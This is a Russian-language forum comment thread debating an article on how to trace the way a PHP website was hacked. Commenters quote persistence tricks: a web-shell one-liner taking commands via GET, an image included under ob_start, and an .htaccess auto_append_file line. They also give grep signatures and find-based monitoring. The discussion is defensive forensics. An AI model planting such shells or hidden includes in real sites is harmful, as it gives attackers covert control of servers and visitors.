Comments 42
Ключевые моменты, на которые стоит обращать внимание в скриптах PHPПервое и самое важное, на что стоит обращать внимание это инклюды других скриптов — ищем функции include/include_once/require/require_once во всех файлах.
И в любой более-менее масштабной CMS Вы найдёте 100500 скриптов, которые 'инклюдят' 100500 скриптов.
А из этих скриптов мы делаем выборку по времени изменения.
touch -t YYYYMMDDhhmm?
Если у взломщиков хватит мозгов, то вы не найдёте следов вообще, пока все файлы не переберёте. А иногда встречаются вещи типа
где exploit.jpg это обычная на вид JPEG-картинка… с подарком в хвосте.
<?php
ob_start();
include('./exploit.jpg');
ob_end_clean();
?>где exploit.jpg это обычная на вид JPEG-картинка… с подарком в хвосте.
У меня как-то тоже взломали и подключались с ob_start, только без изысков в виде jpg, но вот беда, подсасываемый скрипт был с багом, он вообще умирал внутри ob_start и все страницы сайта «показывали балет». Хотя технология взлома была любопытная, я её описывал в тут личном блоге.
Ага, а еще в .htaccess прописывают
php_value auto_append_file /путь/к/вирусу
Много способов добавления вируса бывает, веселых и разных.
php_value auto_append_file /путь/к/вирусу
Много способов добавления вируса бывает, веселых и разных.
PHPBB, хранение темпейлетов в базе + опция allow php in templates
Где-нибудь одна неприметная строчка...
и ищем шелл :]
P.S. Это конечно частный (а может и частый) случай.
Про статью — раскрывает многие типичные ошибки оставления следов.
Навеяло…
Где-нибудь одна неприметная строчка...
<?php echo @`$_GET['c']`; ?>и ищем шелл :]
P.S. Это конечно частный (а может и частый) случай.
Про статью — раскрывает многие типичные ошибки оставления следов.
Навеяло…
У моего знакомого ломали джумлу — там был конфиг заменен, на выводимую страницу. А реальный лежал рядышком.
Не пенайте ногами, но на днях была мысль. Не знаю возможно ли это, но прошу выслушать, и если и критиковать, расписать суть проблемы.
Что если бы у апача или у нджинкса была фича, которая бы не выполняла скрипты таким вот описанием:
-Co0lHaZZkeR'ский стиль написания текста.
-Наличие слов Exploit и Shell.
-Наличие большого количества кода в base64.
-Наличие eval() или функции preg_replace() с ключом /e в первом аргументе.
Кому не нравится мог бы и отключить это. Скажем сделать это модулем, пускай даже, не включенным по дефолту.
Что если бы у апача или у нджинкса была фича, которая бы не выполняла скрипты таким вот описанием:
-Co0lHaZZkeR'ский стиль написания текста.
-Наличие слов Exploit и Shell.
-Наличие большого количества кода в base64.
-Наличие eval() или функции preg_replace() с ключом /e в первом аргументе.
Кому не нравится мог бы и отключить это. Скажем сделать это модулем, пускай даже, не включенным по дефолту.
UFO just landed and posted this here
Просто не могу понять, (не жалуюсь на карму, мне честно все равно, я при своем мнении) написал лишь один.
Подобная фильтрация — это не задача веб-сервера, это задача антивируса, и не стоит превращать Апач в бессмысленный и беспощадный комбайн. Наверное, можно как-то анализировать код на лету на предмет Co0lHaZZkeR'ского стиля или высокого процента base64, но подобная деятельность приведет к явному снижению производительности. Отключение определенных функций должно решаться через конфиг интерпретатора PHP, веб-сервер понятия не имеет и не может иметь, что, в каком скриптовом языке и при каких условиях может быть признаком взлома.
Короче, запускайте по cron'у антивирус и дайте веб-серверу делать его работу.
Короче, запускайте по cron'у антивирус и дайте веб-серверу делать его работу.
UFO just landed and posted this here
Довольно много сайтов, которые я видел, созданы для предоставления информации, а не для интерактивной работы. Часто это какой-нибудь сайт компании на Joomla. Авторизация, например, там есть, но посетителями она не используется, и блокировка POST ничего не изменит. Ну, может, голосования какое-то время не будут работать, несколько заказов пропустится, но это лучше, чем если посетитель сайта словит вирус, и гораздо лучше сообщения хрома «Сайт может нанести вред вашему компьютеру». А запросы POST тоже можно с красивой заглушкой отбивать.
Обычно на хостинге, на котором одновременно много пользователей, веб сервер запускается для каждого пользователя с его правами. Если же веб сервер работает под своим отдельным пользователем (например www-data) — то помогает поиск в web директории всех файлов, например, с расширением php, созданных этим пользователем.
Вообще методика на основе find ./ -name '*.php' -mmin -1 |… достаточно эффективна, если код сайта статичен. У меня на одном хосте был скрипт всего несколько строк, который кроном дергался раз в минуту и проверял не изменялись ли пхп файлы (любые изменения, ибо подразумевалось, что априори пхп код менятся не может).
При любом изменении или появлении любого нового php файла на сервере сразу был стук письмом на яндексовское мыло, которое настроено в инфинитуме на моментальное уведомление.
Да, это паранойя, но зато очень эффективно, особенно когда отслеживаемых серверов на душу админа достаточно много.
В этом деле никогда не знаешь, с какой стороны ждать врага.
При любом изменении или появлении любого нового php файла на сервере сразу был стук письмом на яндексовское мыло, которое настроено в инфинитуме на моментальное уведомление.
Да, это паранойя, но зато очень эффективно, особенно когда отслеживаемых серверов на душу админа достаточно много.
В этом деле никогда не знаешь, с какой стороны ждать врага.
А собственно в чём паранойя? В «раз в минуту»?
В том что отслеживаются ВСЕ изменения во ВСЕХ пхп файлах. Раз в минуту это для примера, можно конечно сразу отстукивать, но это лишняя нагрузка на сервер. За минуту врядли взломщик успеет совершить свое грязное дело. Да, и у меня все измененные файлы скриптом заменялись на правильные, а залитые извне тут же удалялись.
Вообще делал наспех после реального взлома, потом как-то руки не дошли изменить, так и прижилось.
Вообще делал наспех после реального взлома, потом как-то руки не дошли изменить, так и прижилось.
По-моему вполне нормально. Хотя, а как они отслеживаются, пресчётом каких-то хэшей?
Нет, это стандартная linux команда
find ./ -name '*.php' -mmin -1 означает найти все файлы с расширением .php, которые были созданы/изменены за последнюю минуту. Ну а дальше через поток приводим все в читабельный вид и отправляем на мыло/смс. Если хоть какой файл изменится, в течении 1 минуты нам будет об этом известно.
Восстановление файлов можно делать стандартным git-ом приводя изменения к последнему коммиту.
Т.е. даже если нас не будет на месте, злоумышленник будет долго ломать голову над тем, почему его залитые шеллы исчезают, а измененные файлы приводятся к изначальному виду.
find ./ -name '*.php' -mmin -1 означает найти все файлы с расширением .php, которые были созданы/изменены за последнюю минуту. Ну а дальше через поток приводим все в читабельный вид и отправляем на мыло/смс. Если хоть какой файл изменится, в течении 1 минуты нам будет об этом известно.
Восстановление файлов можно делать стандартным git-ом приводя изменения к последнему коммиту.
Т.е. даже если нас не будет на месте, злоумышленник будет долго ломать голову над тем, почему его залитые шеллы исчезают, а измененные файлы приводятся к изначальному виду.
Уважаемые сотрудники спринтхост, мне сейчас реально смешно, честно. Вы написали такую статью, а сами… Год 2010, уже честно говоря и забыл какой был месяц, у вас порутан целый сервер!!! Проифреймлены сотни сайтов. А вы даже не осмелились признать это, просто тупо откатили бэкап на целый час и думали что никто не заметит, как посещаемый сайт вдруг выпал по счётчикам и статистикам на час, а так же провал в логах… Стыдно вам должно быть, стыдно! :)
Если честно то статья не о чём, да и советы ну прям полностью домохозяйкам.
Время создания\изменения файла меняется легко при помощи команды touch либо в большинстве шеллов изначально это делается через интерфейс самого шелла, это если искать и сравнивать по дате создания, так же хочу заметить что не всегда шелл имеет расширение пхп, возможно и расширение в jpg/gif/png с изменённым .htaccess.
* Поэтому в первую очередь необходимо искать такие файлы — файлы, очевидно не принадлежащие сайту. Как правило, загруженные скрипты называются довольно необычно и сильно выделяются среди собственных скриптов CMS:
wzxp.php
gwd.php
a10881d.php.2046
Полнейший бред, как правило ихпытаются называть максимально похоже для маскировки на похожие файлы в директории в которой находится шелл.
Полнейший бред по ключевым поискам, что такое:Co0lHaZZkeR'ский стиль написания текста.?
Так же меня ввел в ступор данный обзац:Поиск журналов взлома сайта — вот логики не какой
Сама статья больше бредовая не раскрывающая проблему а наиболее сильно усугубляющая её в случае взлома и закрепления на целевой системе. Полностью раскритиковывать не буду(так как сама статья полнейший бред и имеет место если взлом произвёл полный нуб), а просто приведу несколько ссылок для самостоятельного изучения:
RDot:
Второе пришествие: бэкдор в БД (+ бонусный фишинг-код)
Играем в прятки c админом
Шпаргалка
Snipper:
Magic Include Shell
Raz0r:
Бэкдор в триггере
Маленькая просьба, если кто то может, пришлите инвайт на: l4ar[@]mail.ua, хочется участвовать полноценно в обсуждениях статей, а полноценного аккуанта нет
Время создания\изменения файла меняется легко при помощи команды touch либо в большинстве шеллов изначально это делается через интерфейс самого шелла, это если искать и сравнивать по дате создания, так же хочу заметить что не всегда шелл имеет расширение пхп, возможно и расширение в jpg/gif/png с изменённым .htaccess.
* Поэтому в первую очередь необходимо искать такие файлы — файлы, очевидно не принадлежащие сайту. Как правило, загруженные скрипты называются довольно необычно и сильно выделяются среди собственных скриптов CMS:
wzxp.php
gwd.php
a10881d.php.2046
Полнейший бред, как правило их
Полнейший бред по ключевым поискам, что такое:Co0lHaZZkeR'ский стиль написания текста.?
Так же меня ввел в ступор данный обзац:Поиск журналов взлома сайта — вот логики не какой
Сама статья больше бредовая не раскрывающая проблему а наиболее сильно усугубляющая её в случае взлома и закрепления на целевой системе. Полностью раскритиковывать не буду
RDot:
Второе пришествие: бэкдор в БД (+ бонусный фишинг-код)
Играем в прятки c админом
Шпаргалка
Snipper:
Magic Include Shell
Raz0r:
Бэкдор в триггере
Маленькая просьба, если кто то может, пришлите инвайт на: l4ar[@]mail.ua, хочется участвовать полноценно в обсуждениях статей, а полноценного аккуанта нет
Мне кажется, в статье говорится не о каком-либо заказном «супер-пупер крутом» взломе. Говорится о том, что поставлено на поток. О огромном количество Джумл, взламываемых друг за дружкой тупой последовательностью действий (через тот же редактор tinymce). Никто не заботится сокрытием своих следов, ибо знают, что никто не будет заморачиваться искать кого-то… Проще восстановиться сайт из резервной копии и жить дальше спокойненько (в идеале-сменить пароли, обновить версии т.д.).
К слову, один из последних взломов, которые я видел, был произведён вообще замечательным способом — тупо в гугле ввели запрос по имени файла. Нашли сайт, на котором файл есть. Обратились к файлу — а он уже сам по себе является файловым менеджером. Ну и всё, делай, что хочешь… Тут, конечно, владелец сайта сам виноват, но всё таки…
В общем, я к чему всё это — практика показывает, что всё, что описано в статье — встречается действительно часто. И статья действительно может помочь.
Но, конечно, не гуру-взломщикам, кул-хацкерам и мега-админам…
К слову, один из последних взломов, которые я видел, был произведён вообще замечательным способом — тупо в гугле ввели запрос по имени файла. Нашли сайт, на котором файл есть. Обратились к файлу — а он уже сам по себе является файловым менеджером. Ну и всё, делай, что хочешь… Тут, конечно, владелец сайта сам виноват, но всё таки…
В общем, я к чему всё это — практика показывает, что всё, что описано в статье — встречается действительно часто. И статья действительно может помочь.
Но, конечно, не гуру-взломщикам, кул-хацкерам и мега-админам…
Извините, но вам это только кажется, возможно, повторюсь что возможно она была бы (полезна) на каком либо домашнем блоге для индексации и просто заполнения его информацией, но как серьёзная статья она бесполезна и будет вводить людей столкнувшихся с данной проблемой в заблуждение направляя по ложному следу уверенности что они сделали всё правильно и дело тут даже не в мега знаниях, а в действительно ( rdot.org/forum/showthread.php?t=677 ):
Для распиздяев:
*если есть основания полагать, что была скомпрометирована операционная система — подключить диски к чистой системе (LiveCD) и прогнать чистилками (rkhunter/chkrootkit)
*прогнать веб-директории грепом на предмет подозрительных сигнатур ( eval(base64.., system(..., passthru(… )
*обновить всё до последних версий
*сменить все пароли
У вас интересное словосочетание: Проще восстановиться сайт из резервной копии и жить дальше спокойненько (в идеале-сменить пароли, обновить версии т.д.).
Вообще то это не идеал а первая необходимость, да и сейчас сайты больше взламывают для создания доров, что уже под собой имеет место более или менее адекватной маскировки шелла для того чтоб не потерять доступ, времена полного нубства прошли.
И ещё как мне кажется статья была написана давно, так как кусок шелла взят ещё с старой версии WSO шела от oRb.
Сама тема статьи интересная и хотелось бы увидеть более подробную статью с рассмотрением действительно правильных шагов для поиска причин взлома, поиска веб шеллов, протроянивание ssh, но не как не такой уровень.
Для распиздяев:
*если есть основания полагать, что была скомпрометирована операционная система — подключить диски к чистой системе (LiveCD) и прогнать чистилками (rkhunter/chkrootkit)
*прогнать веб-директории грепом на предмет подозрительных сигнатур ( eval(base64.., system(..., passthru(… )
*обновить всё до последних версий
*сменить все пароли
У вас интересное словосочетание: Проще восстановиться сайт из резервной копии и жить дальше спокойненько (в идеале-сменить пароли, обновить версии т.д.).
Вообще то это не идеал а первая необходимость, да и сейчас сайты больше взламывают для создания доров, что уже под собой имеет место более или менее адекватной маскировки шелла для того чтоб не потерять доступ, времена полного нубства прошли.
И ещё как мне кажется статья была написана давно, так как кусок шелла взят ещё с старой версии WSO шела от oRb.
Сама тема статьи интересная и хотелось бы увидеть более подробную статью с рассмотрением действительно правильных шагов для поиска причин взлома, поиска веб шеллов, протроянивание ssh, но не как не такой уровень.
Ну отлично, минуснули, впрочем это не важно, интересно за что, не более.
*надеюсь не за просьбу инвайта, так как думаю что данный ак скоро удалят, а участвовать в дискуссиях хочется, а всё же по поводу основного текста комментария*. Если я прав то хотелось бы доводы, и обсуждения моментов, а не просто обиженные плевки минусы в спину.
*надеюсь не за просьбу инвайта, так как думаю что данный ак скоро удалят, а участвовать в дискуссиях хочется, а всё же по поводу основного текста комментария*. Если я прав то хотелось бы доводы, и обсуждения моментов, а не просто обиженные плевки минусы в спину.
Критика \ рецензия статьи: Через какую дыру взломали сайт? habrahabr.ru/company/sprinthost/blog/125839/
1.Несоответствие заголовка поста с содержанием.
Не раскрыта методика поиска способа проникновения на веб сервер \сайт который был взломан, какие стоило изучать логи, поиск сигнатур и запросов через которые предположительно был произведён взлом, полезные скрипты\ по для анализа логов.
2.Разбираем тело статьи, абзацы:
2.1.Зачем взламывают сайты
Сайты не заражают вирусами в прямом смысле этого сова а либо вешают связку (что бывает редко), либо инфреймят для того чтоб перекинуть трафик на другую связку которая уже и грузит вредоносный код.
Боты не устанавливают на взломанный сайт\сервер (вернее правильно будет не боты, а командный\админ центр) в виду того что в таком случае мы считай подарили свою бот сеть хозяину сайта, либо спалили лоадер для антивирусных программ, для ботов регестрируют произвольные домены у антиабузных хостеров, регионах.
90% что взломанный сайт будет использоваться как трастовая площадка для доров.
2.2. Алгоритм поиска причины взлома
Пока всё нормально в содержании, но это только в содержании.
2.3.Как искать следы взлома
в первую очередь необходимо искать такие файлы — файлы, очевидно не принадлежащие сайту. Как правило, загруженные скрипты называются довольно необычно и сильно выделяются среди собственных скриптов CMS:
Данный поиск приведут к положительному результату только в случае если взлом был проведён полностью нубом, так как это как прописная истина шелл маскируется под окружающую среду, а именно называется либо схожим именем, либо именем, ведущим в заблуждение админа который он посчитает за системый, так же меняется время создания файла на то же какое у большинства в папке где находится шелл. При этом стоит понимать что не всегда шелл имеет расширение php, расширение может быть произвольным, как и шелл может храниться в папке cgi.
Результат работы эксплойта, запущенного для взлома сервера, может выглядеть так:
Резкое перепрыгивание через огромную пропасть информации, результатом какого эксплоита, почему был запущен эксплоит и для чего это делалось? (может стоит описать что такое сплоит, для чего он был запущен и на какие обычно службы он рассчитан).
— часто через уязвимости в редакторах или библиотеках фотографий скрипты загружаются именно в то место
Часто если собрались порутать сервер то заливают и работают уже не через web оболочку, а через поднятый back connect либо биндят порт, веб оболочка используется редко в виду малой информативности, так же заливаются в /tmp
Обязательно загляните в файл .htaccess — в нем могут быть добавлены перенаправления на другие сайты, распространяющие вирус. При этом файл .htaccess может быть размещен как в корне сайта, так и выше, поэтому не поленитесь посмотреть все директории вашего аккаунта.
Совет правильный НО, но стоило раскрыть примерные команды, а так же добавить что может быть не только перенаправление на сайт, но и команда для обработки произвольного расширения файла как php скрипта, что даёт нам в каталоге с изменённым .htaccess шел с расширением изображения.
Ключевые моменты, на которые стоит обращать внимание в скриптах PHP:
Что такое: Co0lHaZZkeR'ский стиль написания текста? — Может хватит играть в шпионов, и мега хакерофф, хочу заметить что в шелле совсем не будет этого стиля, хотя хотелось бы понять что это за стиль такой.
Наличие слов Exploit и Shell. – специально сейчас посмотрел исходник шелла от оRb и там слово exploit встречается всего 2 раза и то как ссылка на exploit-db.com для поиска сплоита для ядра, опять таки мы её можем убрать руками. Shell встречается чаще, но это опять в неупакованном виде, в упакованном этого слова нет.
В конце концов, можно просто зайти браузером и посмотреть, что делает этот скрипт. – есть множество файлов как самой cms так и среди шеллов которые внешне не выдают не какой реакции без задания аргумента, да и как это представляется возможным переход по всем файлам cms?
Файлы можно искать и вручную, но быстрее, если взлом произошел недавно, воспользоваться командой find: # find ./public_html -mtime -3d # find ./public_html -mtime -10h – повторюсь время создания шелла меняется простой командой, так что в некоторых случаях это совсем время в пустую, хотя исключать данный способ не следует.
2.4.Определение времени взлома
Когда файлы найдены, определить время взлома очень просто — достаточно посмотреть время изменения самого раннего файла.
Если подозрительных файлов не найдено, но сайт заражен вирусом, посмотрите дату изменения файлов index.php, index.html или тех, в которых обнаружите вирус. Скорее всего в этом случае сайт взломали, украв пароль от FTP. — уже написано выше, при этом логики между изменением и ftp нет не какой, ведь даже в случае взлома через фтп происходят какие либо действия на сайте\сервере, ведь он их угнал не для того чтоб любоваться на них.
2.5.Поиск журналов взлома сайта
Я думаю тут и без моих комментариев понятна абсолютная нелогичность в тексте, хотя нет вот немного: Если на сайте только произведен дефейс или добавлен вирус ко всем файлам index.html, скорее всего, сайт взломали через кражу пароля FTP (или, гораздо реже, SSH). – нет разницы как был произведён способ взлома, проникновение через бажный скрипт либо через фтп для проведения дефейса, эту строчку можно выставить в цитаты ламоризмов.
Если же на сайте присутствуют PHP Shell или вредоносные скрипты (например, для рассылки спама), скорее всего, сайт взломали через уязвимость в CMS или каком-либо её плагине. В этом случае потребуется проанализировать логи веб-сервера. – ну так же, не имеет значение как был взломан сайт для того чтоб закрепится на сайте при помощи шелла либо рассылки спама.
2.6. Если удалось определить IP-адрес
2.7.Если определить IP-адрес не удалось
Оба без слов, ах да по поводу пост запросов, хочу вас заверить что для хакера предпочтительнее работать пост запросами в виду наименьшего паления в логах сервера, а для взлома предпочтительнее гет запросы в виду их более лёгкой реализации.
2.8. Если ничего не удалось найти
В принципе всё правильно, но как то сковано и нераскрыто, плюс это путь быдло исправления.
2.9.Хозяйке на заметку
У меня нет слов, так эта тема должна быть раскрыта более полно, начиная от выбираемых скриптов и заканчивая настройками скриптов, прав директорий и тд.
Итоги: А итоги я думаю каждый подведёт сам. Но если те действия что описаны в статье действительно действия тех поддержки то (рука_лицо).
Ответ M03G: habrahabr.ru/company/sprinthost/blog/125839/#comment_4178058.
Тогда может стоит называть статью своими именами, и писать не столь кричащий заголовок, а назвать, советы домохозяйкам для того чтоб крепче спать, ну не является то что написано выше полезными советами, это всё равно что к вам проникли в дом через замочную скважину подобрав отмычку, а вы вместо того чтоб сменить замок, уходя замыкаете дверь всё тем же замком, просто изменив накладную панель, либо заклеев замочную скважину скотчём!
Ах да полезные ссылки можно посмотреть в моём комментарии: habrahabr.ru/company/sprinthost/blog/125839/#comment_4177627
*можете минусовать показывая далее свою некомпетентность вместо того чтоб вести диалог, ведь вполне возможно что я не прав, но свой вывод о хостинге я сделал, скрин странички тоже, так на память и друзьям\знакомым, что же друзьям я вас не когда не порекомендую*
1.Несоответствие заголовка поста с содержанием.
Не раскрыта методика поиска способа проникновения на веб сервер \сайт который был взломан, какие стоило изучать логи, поиск сигнатур и запросов через которые предположительно был произведён взлом, полезные скрипты\ по для анализа логов.
2.Разбираем тело статьи, абзацы:
2.1.Зачем взламывают сайты
Сайты не заражают вирусами в прямом смысле этого сова а либо вешают связку (что бывает редко), либо инфреймят для того чтоб перекинуть трафик на другую связку которая уже и грузит вредоносный код.
Боты не устанавливают на взломанный сайт\сервер (вернее правильно будет не боты, а командный\админ центр) в виду того что в таком случае мы считай подарили свою бот сеть хозяину сайта, либо спалили лоадер для антивирусных программ, для ботов регестрируют произвольные домены у антиабузных хостеров, регионах.
90% что взломанный сайт будет использоваться как трастовая площадка для доров.
2.2. Алгоритм поиска причины взлома
Пока всё нормально в содержании, но это только в содержании.
2.3.Как искать следы взлома
в первую очередь необходимо искать такие файлы — файлы, очевидно не принадлежащие сайту. Как правило, загруженные скрипты называются довольно необычно и сильно выделяются среди собственных скриптов CMS:
Данный поиск приведут к положительному результату только в случае если взлом был проведён полностью нубом, так как это как прописная истина шелл маскируется под окружающую среду, а именно называется либо схожим именем, либо именем, ведущим в заблуждение админа который он посчитает за системый, так же меняется время создания файла на то же какое у большинства в папке где находится шелл. При этом стоит понимать что не всегда шелл имеет расширение php, расширение может быть произвольным, как и шелл может храниться в папке cgi.
Результат работы эксплойта, запущенного для взлома сервера, может выглядеть так:
Резкое перепрыгивание через огромную пропасть информации, результатом какого эксплоита, почему был запущен эксплоит и для чего это делалось? (может стоит описать что такое сплоит, для чего он был запущен и на какие обычно службы он рассчитан).
— часто через уязвимости в редакторах или библиотеках фотографий скрипты загружаются именно в то место
Часто если собрались порутать сервер то заливают и работают уже не через web оболочку, а через поднятый back connect либо биндят порт, веб оболочка используется редко в виду малой информативности, так же заливаются в /tmp
Обязательно загляните в файл .htaccess — в нем могут быть добавлены перенаправления на другие сайты, распространяющие вирус. При этом файл .htaccess может быть размещен как в корне сайта, так и выше, поэтому не поленитесь посмотреть все директории вашего аккаунта.
Совет правильный НО, но стоило раскрыть примерные команды, а так же добавить что может быть не только перенаправление на сайт, но и команда для обработки произвольного расширения файла как php скрипта, что даёт нам в каталоге с изменённым .htaccess шел с расширением изображения.
Ключевые моменты, на которые стоит обращать внимание в скриптах PHP:
Что такое: Co0lHaZZkeR'ский стиль написания текста? — Может хватит играть в шпионов, и мега хакерофф, хочу заметить что в шелле совсем не будет этого стиля, хотя хотелось бы понять что это за стиль такой.
Наличие слов Exploit и Shell. – специально сейчас посмотрел исходник шелла от оRb и там слово exploit встречается всего 2 раза и то как ссылка на exploit-db.com для поиска сплоита для ядра, опять таки мы её можем убрать руками. Shell встречается чаще, но это опять в неупакованном виде, в упакованном этого слова нет.
В конце концов, можно просто зайти браузером и посмотреть, что делает этот скрипт. – есть множество файлов как самой cms так и среди шеллов которые внешне не выдают не какой реакции без задания аргумента, да и как это представляется возможным переход по всем файлам cms?
Файлы можно искать и вручную, но быстрее, если взлом произошел недавно, воспользоваться командой find: # find ./public_html -mtime -3d # find ./public_html -mtime -10h – повторюсь время создания шелла меняется простой командой, так что в некоторых случаях это совсем время в пустую, хотя исключать данный способ не следует.
2.4.Определение времени взлома
Когда файлы найдены, определить время взлома очень просто — достаточно посмотреть время изменения самого раннего файла.
Если подозрительных файлов не найдено, но сайт заражен вирусом, посмотрите дату изменения файлов index.php, index.html или тех, в которых обнаружите вирус. Скорее всего в этом случае сайт взломали, украв пароль от FTP. — уже написано выше, при этом логики между изменением и ftp нет не какой, ведь даже в случае взлома через фтп происходят какие либо действия на сайте\сервере, ведь он их угнал не для того чтоб любоваться на них.
2.5.Поиск журналов взлома сайта
Я думаю тут и без моих комментариев понятна абсолютная нелогичность в тексте, хотя нет вот немного: Если на сайте только произведен дефейс или добавлен вирус ко всем файлам index.html, скорее всего, сайт взломали через кражу пароля FTP (или, гораздо реже, SSH). – нет разницы как был произведён способ взлома, проникновение через бажный скрипт либо через фтп для проведения дефейса, эту строчку можно выставить в цитаты ламоризмов.
Если же на сайте присутствуют PHP Shell или вредоносные скрипты (например, для рассылки спама), скорее всего, сайт взломали через уязвимость в CMS или каком-либо её плагине. В этом случае потребуется проанализировать логи веб-сервера. – ну так же, не имеет значение как был взломан сайт для того чтоб закрепится на сайте при помощи шелла либо рассылки спама.
2.6. Если удалось определить IP-адрес
2.7.Если определить IP-адрес не удалось
Оба без слов, ах да по поводу пост запросов, хочу вас заверить что для хакера предпочтительнее работать пост запросами в виду наименьшего паления в логах сервера, а для взлома предпочтительнее гет запросы в виду их более лёгкой реализации.
2.8. Если ничего не удалось найти
В принципе всё правильно, но как то сковано и нераскрыто, плюс это путь быдло исправления.
2.9.Хозяйке на заметку
У меня нет слов, так эта тема должна быть раскрыта более полно, начиная от выбираемых скриптов и заканчивая настройками скриптов, прав директорий и тд.
Итоги: А итоги я думаю каждый подведёт сам. Но если те действия что описаны в статье действительно действия тех поддержки то (рука_лицо).
Ответ M03G: habrahabr.ru/company/sprinthost/blog/125839/#comment_4178058.
Тогда может стоит называть статью своими именами, и писать не столь кричащий заголовок, а назвать, советы домохозяйкам для того чтоб крепче спать, ну не является то что написано выше полезными советами, это всё равно что к вам проникли в дом через замочную скважину подобрав отмычку, а вы вместо того чтоб сменить замок, уходя замыкаете дверь всё тем же замком, просто изменив накладную панель, либо заклеев замочную скважину скотчём!
Ах да полезные ссылки можно посмотреть в моём комментарии: habrahabr.ru/company/sprinthost/blog/125839/#comment_4177627
*можете минусовать показывая далее свою некомпетентность вместо того чтоб вести диалог, ведь вполне возможно что я не прав, но свой вывод о хостинге я сделал, скрин странички тоже, так на память и друзьям\знакомым, что же друзьям я вас не когда не порекомендую*
Ответ ниже: habrahabr.ru/company/sprinthost/blog/125839/#comment_4181737
Кстати, было бы интересно узнать, какие Вы рекомендуете хостинги друзьям? Какую помощь при взломе сайтов они оказывают?
Кстати, было бы интересно узнать, какие Вы рекомендуете хостинги друзьям? Какую помощь при взломе сайтов они оказывают?
Сергей, ну вы же сами понимаете что даже заголовок не совсем соответствует телу статьи, да и там много перескоков, хотя то что иже уже лучше.
Если акцент на домохозяйку, то почему бы не расписать в каких логах искать, по поводу шелла, вы же понимаете что этот комментарий часто убирают, а почему от orb был приведён, ведь у вас он в примере был?.
Я не спорю о конструктивизме, но может и не стоит и мой комментарий так в штыки принимать, да возможно я переборщил с словосочетанием бред, но верхний более конструктивный, по моему субъективному мнению статья правда зависла. она и не для домохозяек и не для спецов, для домохозяек нехватает большей конкретики и прямых указаний, не более. Для профессионалов я думаю вы сами понимаете, я повторюсь то что ниже уже более лучше, я бы вам 100500 плюсов поставил за такую статью, будь она более профессиональна либо более проста.
По поводу скриптов, смысл мне его писать когда вы меня тут в минус вогнали вместо дискуссии, хотя одна из подсказок (если интересна) на ачате в периуд когда зарождался РОА Димыч писал очень удобный скрипт для анализа.
Хотя я вам могу предложить совместно написать статью ( можете её выложить у себя, на баллы мне всё равно, мне важно читать и иногда комментировать) на данную тематику, скажем версия 2, где мы либо в виде диалога, либо по удобной схеме более полно раскроем данный вид расследования компьютерных преступлений, начиная от причин ( рассмотрим в 3 ракурсах: заказ, поисковик, а просто так) и заканчивая мерами предосторожности, профилактики.
Если акцент на домохозяйку, то почему бы не расписать в каких логах искать, по поводу шелла, вы же понимаете что этот комментарий часто убирают, а почему от orb был приведён, ведь у вас он в примере был?.
Я не спорю о конструктивизме, но может и не стоит и мой комментарий так в штыки принимать, да возможно я переборщил с словосочетанием бред, но верхний более конструктивный, по моему субъективному мнению статья правда зависла. она и не для домохозяек и не для спецов, для домохозяек нехватает большей конкретики и прямых указаний, не более. Для профессионалов я думаю вы сами понимаете, я повторюсь то что ниже уже более лучше, я бы вам 100500 плюсов поставил за такую статью, будь она более профессиональна либо более проста.
По поводу скриптов, смысл мне его писать когда вы меня тут в минус вогнали вместо дискуссии, хотя одна из подсказок (если интересна) на ачате в периуд когда зарождался РОА Димыч писал очень удобный скрипт для анализа.
Хотя я вам могу предложить совместно написать статью ( можете её выложить у себя, на баллы мне всё равно, мне важно читать и иногда комментировать) на данную тематику, скажем версия 2, где мы либо в виде диалога, либо по удобной схеме более полно раскроем данный вид расследования компьютерных преступлений, начиная от причин ( рассмотрим в 3 ракурсах: заказ, поисковик, а просто так) и заканчивая мерами предосторожности, профилактики.
Безумно извиняюсь!!! за то что именем ошибся.
Олег, вот за это мне правда стыдно, Простите меня пожалуйста! (посыпаю голову пеплом)
Олег, вот за это мне правда стыдно, Простите меня пожалуйста! (посыпаю голову пеплом)
Вы знаете, я вряд ли смогу что-либо добавить к тому, что написал раньше. Статья, как ни странно это звучит, ориентирована на тех, кому она будет полезна. В ней описана быстрая схема поиска уязвимости, через которую был взломан сайт, более того — эта схема работает в большом количестве случаев. Этих действий достаточно для того, чтобы с большой вероятностью найти причину взлома. Последующие действия и профилактика зависят, как я уже писал раньше, в непосредственной заинтересованности администратора сайта. В статье раскрывается именно та тема, которая указана в заголовке, и не нужно искать в ней признаки курса по информационной безопасности — их нет.
Я добавил в статью советы по восстановлению сайта после взлома, которые описывал ранее.
За предложение написать совместную статью спасибо, отвечу в личку.
Я добавил в статью советы по восстановлению сайта после взлома, которые описывал ранее.
За предложение написать совместную статью спасибо, отвечу в личку.
В комментарии повыше MO3G ответил по сути и конструктивно. Лично мне сложно ответить на Ваш комментарий, потому что после прочтения у меня не сложилось понимания, что именно Вы советуете делать вместо или дополнительно к тому, что описано в статье, но я все же попробую.
Когда сайт взломан, необходимо выяснить, через что это произошло. После определения причины сайт восстанавливается из резервной копии, чтобы исключить все то, что описано в приведенных Вами ссылках: замаскированные шеллы, добавления в базу данных, измененные исходники сайта. После восстановления из резервной копии компоненты сайта, через которые произошел взлом (а желательно, и все остальные), обновляются до последних версий, не содержащих уязвимостей. После этого можно снова открывать сайт для посетителей.
Если сайт продолжают взламывать, и найти причину не удается, скорее всего его взломали гораздо раньше, и на нем уже есть скрытый доступ. В этом случае необходимо установить чистую CMS и импортировать в нее данные.
Какие-либо дополнительные действия: изучение специальной литературы, игры в прятки с хакером, сбор коллекции обнаруженных шеллов/эксплойтов/скрытого кода зависит от непосредственной заинтересованности в этой теме администратора, работающего с сайтом, и выходит далеко за рамки статьи.
В комментарии Вы упомянули полезные скрипты и ПО для анализа логов — приведите, пожалуйста, ссылки на них, они будут хорошим дополнением к статье.
Случаи же, когда на сайте остается шелл и другие временные файлы, использованные для взлома, встречаются постоянно. Чтобы не быть голословным, приведу пример анализа взлома, зафиксированного вчера на одном из сайтов:
Жирным выделены PHP Shell и back connect на Perl.
PHP Shell, замаскированный под GIF, из файла a22389d.php.27994:
Обратите внимание, что в скрипте явно написано «Web Shell».
Backconnect на Perl в файле bc.pl, был запущен демоном:
Явно написано Connect Back Shell, стиль написания и оформления текста… ммм… вызывает подозрения :)
И эксплойт для FreeBSD в файле program.c:
Выдержка из access.log, ищем по имени файла shell'а (имя сайта изменено):
Ищем по IP-адресу взломщика:
Взлом произведен через устаревший TinyBrowser. Последние две строки — уже работа с PHP Shell.
